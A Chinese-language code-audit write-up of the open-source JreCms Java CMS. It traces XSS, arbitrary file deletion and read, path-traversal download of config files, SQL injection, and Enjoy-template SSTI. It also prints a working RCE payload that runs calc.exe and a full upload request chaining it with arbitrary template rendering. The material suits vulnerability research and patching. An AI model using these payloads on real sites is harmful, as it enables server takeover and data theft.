Jrecms代码审计小计

项目简介

JreCms是开源免费的JAVA企业网站开发建设管理系统

软件架构

  1. MVC:JFinal
  2. 页面:enjoy
  3. 缓存:ehcache
  4. 数据库:Mysql

项目地址:https://gitee.com/heyewei/JFinalcms

环境搭建

下载源码后,创建数据表cms,导入相应sql文件

IDA打开源码可自动加载包

源码分析

XSS-反射

在com/cms/controller/admin/LoginController.java#index()里,用JFinal的getPara获取的数据被交给render渲染前端页面。

image-20251028175026051

而前端用的是用来接收页面传来的参数

image-20251028175122792

image-20251028175329659

xss-存储型

前台留言功能

image-20251028180152066

找到留言功能的控制器com/cms/controller/front/GuestbookController.java#save(),这里使用了JFinal框架的getModel将接收的表单传递给Guestbook对象,且没有做任何过滤。

image-20251028180415498

可以看到传入参数没有过滤

image-20251028180806285

继续跟进

可以看到这里执行了sql语句插入到了数据库中

相关管理员审核的时候可触发xss

image-20251028181302668

任意文件删除

翻阅后台的时候发现数据库备份功能

image-20251029100619617

备份后有删除功能

image-20251029101443259

点击删除抓包

image-20251029101043186

尝试更改其他文件名

先找到相关文件

image-20251029101538898

在其上一层路径建一个1.txt测试

image-20251029101617309

image-20251029101658533

发现成功被删除

回到源码查看src/main/java/com/cms/controller/admin/DatabaseController.java

image-20251029102309250

这里发现仅仅接受那么参数就触发delete()函数

image-20251029102714962

发现只是进行路径传递进行delete,未做任何过滤

任意文件读取

在src/main/java/com/cms/controller/admin/DatabaseController.java中发现restore()函数也有几分问题

image-20251029103239326

审计发现,没有返回文件内容

image-20251029103401408

尝试无果继续寻找

image-20251029104003806

点击编辑后发现有filename参数

image-20251029104105884

尝试更换文件名

已经在上层目录新建1.txt

image-20251029105320415

image-20251029105327288

成功!相似的,读取数据库文件

image-20251029105827657

回到源码里

image-20251029110040079

获取filename和directory参数然后拼接,唯一的判断是把,替换为/,然后如果directory存在就拼接上directory,不存在就拼接/

SSTI

还是在模版管理处

模版框架是enjoy,

image-20251029111123917

1
#set((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"calc.exe\")"))

image-20251029111119809

定位原文com/cms/controller/admin/TemplateController.java#update(),content参数没做任何处理就传递给了com/cms/util/TemplateUtils.java#write()。跟进到该方法,可以看到没有对content进行任何处理就写入到文件了,那么模板管理功能是存在SSTI的。

image-20251029111143241

更新处和上面如出一辙,没有任何过滤直接到write

image-20251029111256029

前台任意文件下载

这个我没找到功能点在哪,这个漏洞是看别的师傅挖到的

搜素FileInputStream找到src/main/java/com/cms/controller/common/DownController.java

发现相关路径/common/down接收参数fileKey可渲染文件

image-20251029112422789

image-20251029113602924

尝试一下

1
/common/down/file?fileKey=/../../../src/main/resources/config.properties

image-20251029131145367

下载成功

文件上传配合任意文件渲染RCE

在com/cms/controller/front/AjaxController.java#html()里,既没有鉴权也没有过滤,就直接将传入的文件路径拼接之后,使用JFinal框架的render渲染了。

image-20251029131253160

在后台找一个能回显上传文件路径的文件上传点,文件的内容为SSTI的Payload即可。

image-20251029131410570

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
POST /jrecms/admin/file/upload HTTP/1.1
Host: 192.168.102.1:8081
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=B47B71A22261D2FA7612EFDE846540C2; listQuery=categoryId%3D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuHBI39Mc3uSdJyc6
Referer: http://192.168.102.1:8081/jrecms/admin/company
Accept: */*
Origin: http://192.168.102.1:8081
Content-Length: 2570

------WebKitFormBoundaryuHBI39Mc3uSdJyc6
Content-Disposition: form-data; name="id"

WU_FILE_0
------WebKitFormBoundaryuHBI39Mc3uSdJyc6
Content-Disposition: form-data; name="name"

12.jpg
------WebKitFormBoundaryuHBI39Mc3uSdJyc6
Content-Disposition: form-data; name="type"

image/jpeg
------WebKitFormBoundaryuHBI39Mc3uSdJyc6
Content-Disposition: form-data; name="lastModifiedDate"

Sun Jun 30 2024 17:34:17 GMT+0800 (中国标准时间)
------WebKitFormBoundaryuHBI39Mc3uSdJyc6
Content-Disposition: form-data; name="size"

560
------WebKitFormBoundaryuHBI39Mc3uSdJyc6
Content-Disposition: form-data; name="file"; filename="12.jpg"
Content-Type: image/jpeg

#set((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"calc.exe\")"))
------WebKitFormBoundaryuHBI39Mc3uSdJyc6--

/static/upload/ce54b595-aa62-4231-afef-5220ec1a47a3.jpg

image-20251029131531292

image-20251029131706149

这里也可以上传html文件xss,没在写了

SQL注入

com/cms/entity/Admin.java#findPage()里,传入的name、username参数被拼接到filterSql变量,然后传递给了JFinal框架的paginate,在JFinal框架li这种写法是存在SQL注入的。使用IDEA找到使用findPage()的地方。

image-20251029132027569

找到了在com/cms/controller/admin/AdminController.java#index()里,传入的name、username参数未做任何处理就被传递给findPage(),那么这里是存在SQL注入的。

image-20251029132116687

image-20251029132842557